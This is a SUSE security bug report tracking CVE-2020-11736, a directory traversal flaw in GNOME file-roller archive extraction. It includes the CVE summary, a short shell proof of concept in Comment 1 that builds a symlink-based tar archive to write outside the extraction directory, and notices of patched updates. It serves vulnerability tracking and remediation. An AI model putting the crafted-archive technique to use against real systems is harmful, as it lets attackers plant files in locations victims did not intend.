Bug 1169428 - (CVE-2020-11736) VUL-1: CVE-2020-11736: file-roller: directory traversal during extraction due to improper checking whether a file's parent is a symlink to a directory outside of the intended location
(CVE-2020-11736)
VUL-1: CVE-2020-11736: file-roller: directory traversal during extraction due...
Status: NEW
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P4 - Low : Normal
: ---
Assigned To: Security Team bot
Security Team bot
https://smash.suse.de/issue/257015/
CVSSv3.1:SUSE:CVE-2020-11736:3.9:(AV...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2020-04-14 14:08 UTC by Alexandros Toptsoglou
Modified: 2022-01-21 21:34 UTC (History)
2 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Alexandros Toptsoglou 2020-04-14 14:08:52 UTC
CVE-2020-11736

fr-archive-libarchive.c in GNOME file-roller through 3.36.1 allows Directory
Traversal during extraction because it lacks a check of whether a file's parent
is a symlink to a directory outside of the intended extraction location.

References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-11736
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11736
https://gitlab.gnome.org/GNOME/file-roller/-/commit/21dfcdbfe258984db89fb65243a1a888924e45a0
Comment 1 Alexandros Toptsoglou 2020-04-15 11:15:53 UTC
Tracked as affected SLE12 SLE12-SP2 and SLE15. I successfully reproduced the issue in all the above codestreams. The issue is not reproducible in older codestreams where a warning is thrown.

To reproduce the issue simply do the following:

mkdir /tmp/file-roller-poc  
cd !$
ln -s /tmp Files
tar -cf woops.tar Files
rm Files
mkdir Files
echo Hello World > Files/woops
tar -uvf woops.tar Files/woops
file-roller -h woops.tar
cat /tmp/woops 

If Hello world is printed the issue has been reproduced.
Comment 2 Michael Gorse 2020-05-15 18:25:56 UTC
I'll take this, since I'm already making an update for SLE-15-SP2.
Comment 6 Swamp Workflow Management 2020-05-29 19:16:45 UTC
SUSE-SU-2020:1505-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1169428
CVE References: CVE-2020-11736
Sources used:
SUSE Linux Enterprise Server 12-SP5 (src):    file-roller-3.20.3-15.6.1
SUSE Linux Enterprise Server 12-SP4 (src):    file-roller-3.20.3-15.6.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 7 Swamp Workflow Management 2020-06-08 13:26:13 UTC
SUSE-SU-2020:1557-1: An update that fixes two vulnerabilities is now available.

Category: security (low)
Bug References: 1151585,1169428
CVE References: CVE-2019-16680,CVE-2020-11736
Sources used:
SUSE Linux Enterprise Module for Desktop Applications 15-SP1 (src):    file-roller-3.26.2-4.5.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 8 Swamp Workflow Management 2020-06-17 22:16:19 UTC
openSUSE-SU-2020:0825-1: An update that fixes two vulnerabilities is now available.

Category: security (low)
Bug References: 1151585,1169428
CVE References: CVE-2019-16680,CVE-2020-11736
Sources used:
openSUSE Leap 15.1 (src):    file-roller-3.26.2-lp151.4.3.1